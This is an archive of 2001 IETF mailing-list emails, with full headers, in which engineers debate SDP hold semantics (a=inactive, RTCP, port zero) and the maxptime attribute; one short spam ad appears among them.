Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7MJL7m11832
	for <confctrl@ISI.EDU>; Wed, 22 Aug 2001 12:21:07 -0700 (PDT)
Received: from mr5.exu.ericsson.se (mr5u3.ericy.com [208.237.135.124])
	by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f7MJDLp13657;
	Wed, 22 Aug 2001 14:13:21 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.75.179])
	by mr5.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id f7MJDLp08266;
	Wed, 22 Aug 2001 14:13:21 -0500 (CDT)
Received: from e0000865ab2db (pc050058.exu.ericsson.se [138.85.50.58]) by newman.exu.ericsson.se (8.7.5/8.7.3) with SMTP id OAA05634; Wed, 22 Aug 2001 14:13:20 -0500 (CDT)
From: sean.olson@ericsson.com
Reply-To: <sean.olson@ericsson.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        "Gonzalo Camarillo Gonzalez \(LMF\)" <>
Cc: <sip@ietf.org>, "mmusic" <confctrl@ISI.EDU>
Subject: RE: [Sip] Re: SDP hold 
Date: Wed, 22 Aug 2001 14:13:17 -0500
Message-ID: <F9211EC7A7FED4119FD9005004A6C87003F2D5E8@eamrcnt723.exu.ericsson.se>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
Importance: Normal
In-Reply-To: <B65B4F8437968F488A01A940B21982BF020D6616@DYN-EXCH-001.dynamicsoft.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id MAA11178
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I thought the entire point of the inactive attribute
was to specify a stream that did not send RTP -or- RTCP.

If we accept the following:

1) send-only: RTP one way, RTCP two way
2) recv-only: RTP one way, RTCP two way
3) send-recv: RTP two way, RTCP two way
4) inactive:  no RTP, RTCP two way
5) XXX: no RTP, no RTCP ???

Then what is used to specify the fifth item
(no RTP, no RTCP)?

/sean


>-----Original Message-----
>From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
>Sent: Wednesday, August 22, 2001 1:30 PM
>To: 'Colin Perkins'; Gonzalo Camarillo
>Cc: Jonathan Rosenberg; sip@ietf.org; mmusic
>Subject: RE: [Sip] Re: SDP hold 
>
>
>So, here is an important question on the inactive attribute. 
>If a stream is
>inactive, is RTCP sent? I think it probably should, 
>actually... RTCP helps
>to keep state alive in various places, and this session is 
>still alive, just
>suspended.
>
>THoughts?
>
>-Jonathan R.
>
>
>---
>Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
>Chief Scientist                             First Floor
>dynamicsoft                                 East Hanover, NJ 07936
>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>http://www.jdrosen.net                      PHONE: (973) 952-5000
>http://www.dynamicsoft.com
> 
>
>> -----Original Message-----
>> From: Colin Perkins [mailto:csp@purple.cs.ucl.ac.uk]
>> Sent: Wednesday, August 15, 2001 5:30 AM
>> To: Gonzalo Camarillo
>> Cc: Jonathan Rosenberg; sip@ietf.org; mmusic
>> Subject: Re: [Sip] Re: SDP hold 
>> 
>> >a=inactive
>> >    This specifies that the tools should be started in inactive
>> >    mode.  This is necessary for interactive conferences 
>> where users can
>> >put other users on hold. No media is sent over an inactive 
>> media stream.
>> >It can be either a session or media attribute, and is not 
>> dependent on
>> >charset.
>


From confctrl-owner  Wed Aug 22 15:56:26 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA22810
	for confctrl-outgoing; Wed, 22 Aug 2001 15:56:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA22805
	for <confctrl@zephyr.isi.edu>; Wed, 22 Aug 2001 15:56:25 -0700 (PDT)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7MMuZm29941
	for <confctrl@ISI.EDU>; Wed, 22 Aug 2001 15:56:35 -0700 (PDT)
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f7MMsYh13079;
	Wed, 22 Aug 2001 15:54:34 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f7MMuQq13077;
	Wed, 22 Aug 2001 15:56:26 -0700 (PDT)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id PAA09612; Wed, 22 Aug 2001 15:56:24 -0700 (PDT)
Message-ID: <3B843914.8E2DAB1F@cisco.com>
Date: Wed, 22 Aug 2001 18:58:28 -0400
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
CC: confctrl@ISI.EDU, Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Subject: Re: maxptime
References: <3B80C558.945E00FB@era-t.ericsson.se> <3B8188B6.136B4DD3@cisco.com> <3B820C10.A5504A3B@era-t.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Magnus Westerlund wrote:

> Hi Flemming and others,
>
> So should a sentence like this be added to the maxptime definition?
>
> "Note that this attribute is introduced after RFC 2327, and non updated
> implementations will ignore this attribute."
>
> > > But on the other side maxptime is only a suggested
> > > attribute, and I don't see any requirments that is needs to be
> > > implemented.
> >
> > That's a little weaker than I thought.
> >
>
> Yes, it is weak, but this is the requirement level attributes are defined on
> in SDP.

Maybe in theory, but certainly not in practice, e.g. consider the "rtpmap" and
"fmtp" attributes.


> One way of making implementors aware of that they need to implement
> this attribute is to make it an optional one in the MIME type for new payload
> formats that desire to use this. All audio codecs in
> draft-ietf-avt-rtp-mime-05.txt has ptime and maxptime as optional parameters,
> and also the AMR and EVRC draft.
>

However it's not really a codec attribute but rather a media stream attribute.


>
> This creates a question regarding parameters in the MIME type for a payload
> format. Any optional or required MIME parameter can go into the "a=fmtp:"
> line.

Can they ? The -05 version of the MIME draft says:

   o  The general (and optional) parameters "ptime" and "maxptime" go
       in the SDP "a=ptime" and "a=maxptime" attributes, respectively.

    o  Any payload-format-specific parameters go in the SDP "a=fmtp"
       attribute.  The format and syntax of these parameters may be...



> What are the implications for a parameter that are defined as an media
> attribute, such as maxptime?
>
> m=audio 49120 RTP/AVP 99
> a=rtpmap:99 AMR-WB/16000
> a=fmtp:99 maxptime=60; interleaving=15
> This is allowed.
>
> But also this is.
> m=audio 49120 RTP/AVP 99
> a=rtpmap:99 AMR-WB/16000
> a=fmtp:99 interleaving=15
> a=maxptime:60
>
> So what happens if I do this?
> m=audio 49120 RTP/AVP 97 99
> a=rtpmap:97 GSM-EFR/8000
> a=maxptime:80
> a=rtpmap:99 AMR-WB/16000
> a=fmtp:99 maxptime:60;interleaving=15
>
> Alternative 1.
> Both codecs uses maxptime 80
>
> Alternative 2.
> PT 97 uses maxptime 80 and PT 99 uses maxptime 60
>
> So SDP experts, what is the answer?

I don't believe the above is valid the way the specs are currently written.


>
>
> >
> > Since we are on the subject anyway, I have a related question:
> >
> > Since "maxptime" is a media stream attribute, and we may have multiple
> > codecs for a given media stream, how does one satisfy that
> >
> >         "The time SHOULD be a multiple of the frame size."
> >
> > There is a similar issue with "ptime" of course, but the language is
> > somewhat weaker there.
> >
> > -- Flemming
>
> I don't see that as a problem. If you have two codecs for a certain media that
> has different frame lengths you can choose which multiple to use. For the
> other codec you have a very valid reason why you don't meet that should.

Seems like a spec deficiency to me.


>
> Another possibility might be to specify different maxptime for each codec on
> there separate "a=fmtp:" line.
>

It's still not clear to me that's allowed. Maybe Colin can clarify some of the
above ?

-- Flemming


>
> Regards
>
> Magnus Westerlund
>
> Audio Technology, Ericsson Research
> ----------------------------------------------------------------------
> Ericsson Radio Systems AB  | Phone +46 8 4048287
> Torshamsgatan 23           | Fax   +46 8 7575550
> S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Wed Aug 22 17:00:36 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA26658
	for confctrl-outgoing; Wed, 22 Aug 2001 17:00:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA26650
	for <confctrl@zephyr.isi.edu>; Wed, 22 Aug 2001 17:00:35 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7N00im24437
	for <confctrl@ISI.EDU>; Wed, 22 Aug 2001 17:00:44 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f7N00IB14590;
	Wed, 22 Aug 2001 20:00:18 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAI05049 (AUTH pkyzivat);
	Wed, 22 Aug 2001 20:01:32 -0400 (EDT)
Message-ID: <3B84462F.4A9854FB@cisco.com>
Date: Wed, 22 Aug 2001 19:54:24 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <B65B4F8437968F488A01A940B21982BF020D6616@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> So, here is an important question on the inactive attribute. If a stream is
> inactive, is RTCP sent? I think it probably should, actually... RTCP helps
> to keep state alive in various places, and this session is still alive, just
> suspended.

The introduction of a=inactive in some sense supercedes the old
c=0.0.0.0 for hold. But the potential for saying c=0.0.0.0 remains,
probably must remain for backward compatibility, and is still useful
even with a=inactive. It is appropriate when you simply don't have an
address to offer, as might often come about in an invite-on-hold
situation.

So, obviously if you say both a=inactive and c=0.0.0.0 then RTCP ought
not (can't) be sent.

If a=inactive and c= a valid address, then perhaps it makes sense to
send RTCP, but I am not sure. There will certainly be cases when it
isn't feasible to send it - a call controller that invites on hold in
anticipation of a reinvite may not have a media implementation available
with which to send to the other end.

	Paul Kyzivat
	Cisco Systems

From confctrl-owner  Thu Aug 23 01:10:09 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA16105
	for confctrl-outgoing; Thu, 23 Aug 2001 01:10:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA16100
	for <confctrl@zephyr.isi.edu>; Thu, 23 Aug 2001 01:10:07 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7N8AGm23652
	for <confctrl@ISI.EDU>; Thu, 23 Aug 2001 01:10:17 -0700 (PDT)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id f7N8ACK03339;
	Thu, 23 Aug 2001 10:10:13 +0200 (MEST)
Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id KAA03493; Thu, 23 Aug 2001 10:10:12 +0200
Message-ID: <3B84BA67.FCA2A67D@era-t.ericsson.se>
Date: Thu, 23 Aug 2001 10:10:15 +0200
From: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Flemming Andreasen <fandreas@cisco.com>
CC: confctrl@ISI.EDU, Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Subject: Re: maxptime
References: <3B80C558.945E00FB@era-t.ericsson.se> <3B8188B6.136B4DD3@cisco.com> <3B820C10.A5504A3B@era-t.ericsson.se> <3B843914.8E2DAB1F@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Flemming,

Both you and I may desire a stronger requirement for implementation of the maxptime
attribute. But the SDP specification only says they are suggested attributes and not
understood attributes must be ignored. Some of these attributes, like "rtpmap" and
"fmtp" are a must implement, at least when used for RTP session setup. But if you
look at attributes like "quality" or "type" they can rather safely be ignored by an
implementation without effecting interoperability. "maxptime" as a new attribute,
that I hope will be very useful, has problem in how to get it implemented. One way
of getting it implemented is to stick it as an optional parameter to as many audio
codecs as possible. This will make more implementors aware that this is a must
support attribute.

There must also be very clear that "maxptime" might not be understood by older
implementations. And this must not break any implementations. So the question here
is, should any note concerning this be added to the definition in SDP-new?


> However it's not really a codec attribute but rather a media stream attribute.
>
> >
> > This creates a question regarding parameters in the MIME type for a payload
> > format. Any optional or required MIME parameter can go into the "a=fmtp:"
> > line.
>
> Can they ? The -05 version of the MIME draft says:
>
>    o  The general (and optional) parameters "ptime" and "maxptime" go
>        in the SDP "a=ptime" and "a=maxptime" attributes, respectively.
>
>     o  Any payload-format-specific parameters go in the SDP "a=fmtp"
>        attribute.  The format and syntax of these parameters may be...
>

Ok, I missed that part. This seems to invalidate my previous suggestions that it
should be possible to stick "maxptime" in the "fmtp" line. Not allowing it also
clarifies the matter considerably as only a single "maxptime" should be present for
each media part. But please Colin or other, comment on this.


> > >
> > > Since we are on the subject anyway, I have a related question:
> > >
> > > Since "maxptime" is a media stream attribute, and we may have multiple
> > > codecs for a given media stream, how does one satisfy that
> > >
> > >         "The time SHOULD be a multiple of the frame size."
> > >
> > > There is a similar issue with "ptime" of course, but the language is
> > > somewhat weaker there.
> > >
> > > -- Flemming
> >
> > I don't see that as a problem. If you have two codecs for a certain media that
> > has different frame lengths you can choose which multiple to use. For the
> > other codec you have a very valid reason why you don't meet that should.
>
> Seems like a spec deficiency to me.
>

We could change the sentence to:

"The time SHOULD be a multiple of the frame size of one of the codecs used for this
media."


Cheers

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se



From confctrl-owner  Thu Aug 23 02:07:10 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA18381
	for confctrl-outgoing; Thu, 23 Aug 2001 02:07:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA18376
	for <confctrl@zephyr.isi.edu>; Thu, 23 Aug 2001 02:07:08 -0700 (PDT)
Received: from teeny.ispadmin.com (teeny.ispadmin.com [216.98.128.68])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7N97Im04320
	for <confctrl@isi.edu>; Thu, 23 Aug 2001 02:07:18 -0700 (PDT)
Received: from good-1i7arap91v (la-151-118.dialup.cari.net [216.98.151.118])
	by teeny.ispadmin.com (8.9.0/8.9.0) with SMTP id CAA29511
	for <confctrl@isi.edu>; Thu, 23 Aug 2001 02:07:17 -0700 (PDT)
Message-Id: <200108230907.CAA29511@teeny.ispadmin.com>
From: "DeskWise.com Auction" <webmaster@deskwise.com>
To: <confctrl@ISI.EDU>
Subject: Free Auction Site
Date: Thu, 23 Aug 2001 02:10:24 -0700
X-Mailer: Nico's Mailer
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


DeskWise.com Proudly Presents

Free Auction Site
http://www.DeskWise.com/Auction

Thank you.




From confctrl-owner  Thu Aug 23 08:10:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA01649
	for confctrl-outgoing; Thu, 23 Aug 2001 08:10:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA01635
	for <confctrl@zephyr.isi.edu>; Thu, 23 Aug 2001 08:10:45 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7NEI5v28491
	for <confctrl@ISI.EDU>; Thu, 23 Aug 2001 07:18:06 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f7NEI2v26835;
	Thu, 23 Aug 2001 16:18:03 +0200 (MEST)
Received: from lmf.ericsson.se (rmt160216.am.ericsson.se [138.85.160.216])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id QAA15869;
	Thu, 23 Aug 2001 16:17:55 +0200 (MET DST)
Message-ID: <3B8513E5.625F03D5@lmf.ericsson.se>
Date: Thu, 23 Aug 2001 17:32:05 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Sean Olson (EUS)" <sean.olson@ericsson.com>
CC: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        "'sip@ietf.org'" <sip@ietf.org>, "'mmusic'" <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <F9211EC7A7FED4119FD9005004A6C87004C858F2@eamrcnt723.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

"Sean Olson (EUS)" wrote:
> 
> I thought the entire point of the inactive attribute
> was to specify a stream that did not send RTP -or- RTCP.

This attribute is used to put a call on hold. That is, when you put
somebody on hold the stream will be "sendonly". If at that point of time
you are put on hold as well, the media stream will be "inactive".
Therefore, RTCP is still sent.

> If we accept the following:
> 
> 1) send-only: RTP one way, RTCP two way
> 2) recv-only: RTP one way, RTCP two way
> 3) send-recv: RTP two way, RTCP two way
> 4) inactive:  no RTP, RTCP two way

Yes, bullet number 4 defines perfectly the semantics of the inactive
attribute.

> 5) XXX: no RTP, no RTCP ???
> 
> Then what is used to specify the fifth item
> (no RTP, no RTCP)?

This is currently defined by setting the port number to zero. That is, I
offer you a particular media stream and you set its port to zero in the
200 OK. It means that no RTP and no RTCP will be sent over that media
stream.

This brings me to related topic:

Right now, once you have answer with port=zero, you cannot re-use that
stream during the session. That is, every re-INVITE you send will
contain that media line with the port set to zero, but media will never
flow to it.

It has been brought up (by 3GPP among others) that it might be useful to
be able to re-use that stream in a future. If I want to add a new media
stream to the session, I can use that media line by changing the port
number to a non-zero value in a re-INVITE.

Well, I am triggering a new discussion here (I would like to see
opinions on this), but I believe that the semantics of the inactive
attribute are pretty clear. 

Regards,

Gonzalo


> /sean
> 
> >-----Original Message-----
> >From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> >Sent: Wednesday, August 22, 2001 1:30 PM
> >To: 'Colin Perkins'; Gonzalo Camarillo
> >Cc: Jonathan Rosenberg; sip@ietf.org; mmusic
> >Subject: RE: [Sip] Re: SDP hold
> >
> >
> >So, here is an important question on the inactive attribute.
> >If a stream is
> >inactive, is RTCP sent? I think it probably should,
> >actually... RTCP helps
> >to keep state alive in various places, and this session is
> >still alive, just
> >suspended.
> >
> >THoughts?
> >
> >-Jonathan R.
> >
> >
> >---
> >Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> >Chief Scientist                             First Floor
> >dynamicsoft                                 East Hanover, NJ 07936
> >jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> >http://www.jdrosen.net                      PHONE: (973) 952-5000
> >http://www.dynamicsoft.com
> >
> >
> >> -----Original Message-----
> >> From: Colin Perkins [mailto:csp@purple.cs.ucl.ac.uk]
> >> Sent: Wednesday, August 15, 2001 5:30 AM
> >> To: Gonzalo Camarillo
> >> Cc: Jonathan Rosenberg; sip@ietf.org; mmusic
> >> Subject: Re: [Sip] Re: SDP hold
> >>
> >> >a=inactive
> >> >    This specifies that the tools should be started in inactive
> >> >    mode.  This is necessary for interactive conferences
> >> where users can
> >> >put other users on hold. No media is sent over an inactive
> >> media stream.
> >> >It can be either a session or media attribute, and is not
> >> dependent on
> >> >charset.
> >

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Fri Aug 24 00:34:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA16139
	for confctrl-outgoing; Fri, 24 Aug 2001 00:34:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA16134
	for <confctrl@zephyr.isi.edu>; Fri, 24 Aug 2001 00:34:02 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7O7Y1v26654
	for <confctrl@ISI.EDU>; Fri, 24 Aug 2001 00:34:02 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f7O7OvrN000121;
	Fri, 24 Aug 2001 03:24:57 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <RBX3AZW0>; Fri, 24 Aug 2001 03:25:46 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D665A@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        Sean Olson
	 <sean.olson@ericsson.com>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "'Colin Perkins'"
	 <csp@purple.cs.ucl.ac.uk>,
        "'sip@ietf.org'" <sip@ietf.org>, "'mmusic'"
	 <confctrl@ISI.EDU>
Subject: RE: [Sip] Re: SDP hold
Date: Fri, 24 Aug 2001 03:25:41 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> Sent: Thursday, August 23, 2001 10:32 AM
> To: Sean Olson (EUS)
> Cc: 'Jonathan Rosenberg'; 'Colin Perkins'; 'sip@ietf.org'; 'mmusic'
> Subject: Re: [Sip] Re: SDP hold
> 
> 
> > 5) XXX: no RTP, no RTCP ???
> > 
> > Then what is used to specify the fifth item
> > (no RTP, no RTCP)?
> 
> This is currently defined by setting the port number to zero. 
> That is, I
> offer you a particular media stream and you set its port to 
> zero in the
> 200 OK. It means that no RTP and no RTCP will be sent over that media
> stream.

Well, this is a little bit different. Port zero means "tear down this
stream". This would result, for example, in the closure of any windows that
were popped up for video rendering of the stream. I think Sean's case is
where we neither send RTP/RTCP, but the stream is only temporarily suspended
and can be revived. A better question, is whether we really need this
additional case. I'd rather limit them to things we really need.

> 
> This brings me to related topic:
> 
> Right now, once you have answer with port=zero, you cannot re-use that
> stream during the session. That is, every re-INVITE you send will
> contain that media line with the port set to zero, but media 
> will never
> flow to it.
> 
> It has been brought up (by 3GPP among others) that it might 
> be useful to
> be able to re-use that stream in a future. If I want to add a 
> new media
> stream to the session, I can use that media line by changing the port
> number to a non-zero value in a re-INVITE.
> 
> Well, I am triggering a new discussion here (I would like to see
> opinions on this), but I believe that the semantics of the inactive
> attribute are pretty clear. 

Hmm, I though I had sent out an email on this open issue as well.... I'll
resend if I don't see it in the archives.

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Fri Aug 24 06:10:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA29913
	for confctrl-outgoing; Fri, 24 Aug 2001 06:10:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA29899
	for <confctrl@zephyr.isi.edu>; Fri, 24 Aug 2001 06:10:05 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7ODA5v04294
	for <confctrl@ISI.EDU>; Fri, 24 Aug 2001 06:10:05 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f7ODA3K26391;
	Fri, 24 Aug 2001 15:10:03 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B52C74.lmf.ericsson.se [131.160.30.33])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id f7ODA2510121;
	Fri, 24 Aug 2001 16:10:02 +0300 (EET DST)
Message-ID: <3B865220.A3E171C5@lmf.ericsson.se>
Date: Fri, 24 Aug 2001 16:09:52 +0300
From: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        Sean Olson <sean.olson@ericsson.com>,
        "'Colin Perkins'" <csp@purple.cs.ucl.ac.uk>,
        "'sip@ietf.org'" <sip@ietf.org>, "'mmusic'" <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <B65B4F8437968F488A01A940B21982BF020D665A@DYN-EXCH-001.dynamicsoft.com>
Content-Type: multipart/mixed;
 boundary="------------6B0BF617707EAF3E476CFCB9"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------6B0BF617707EAF3E476CFCB9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hi,

I think it would be a good idea to bring this question to the Megaco
mailing list. There are lots of people working on Media Gateways there,
so maybe they have some kind of solution for this.

I can write down a few lines, and also CC the mail to the SIP list
(since I guess most of us aren't on the Megaco list...).

Regards,

Christer Holmberg
Ericsson Finland



Jonathan Rosenberg wrote:
> 
> 
> 
> > -----Original Message-----
> > From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> > Sent: Thursday, August 23, 2001 10:32 AM
> > To: Sean Olson (EUS)
> > Cc: 'Jonathan Rosenberg'; 'Colin Perkins'; 'sip@ietf.org'; 'mmusic'
> > Subject: Re: [Sip] Re: SDP hold
> >
> >
> > > 5) XXX: no RTP, no RTCP ???
> > >
> > > Then what is used to specify the fifth item
> > > (no RTP, no RTCP)?
> >
> > This is currently defined by setting the port number to zero.
> > That is, I
> > offer you a particular media stream and you set its port to
> > zero in the
> > 200 OK. It means that no RTP and no RTCP will be sent over that media
> > stream.
> 
> Well, this is a little bit different. Port zero means "tear down this
> stream". This would result, for example, in the closure of any windows that
> were popped up for video rendering of the stream. I think Sean's case is
> where we neither send RTP/RTCP, but the stream is only temporarily suspended
> and can be revived. A better question, is whether we really need this
> additional case. I'd rather limit them to things we really need.
> 
> >
> > This brings me to related topic:
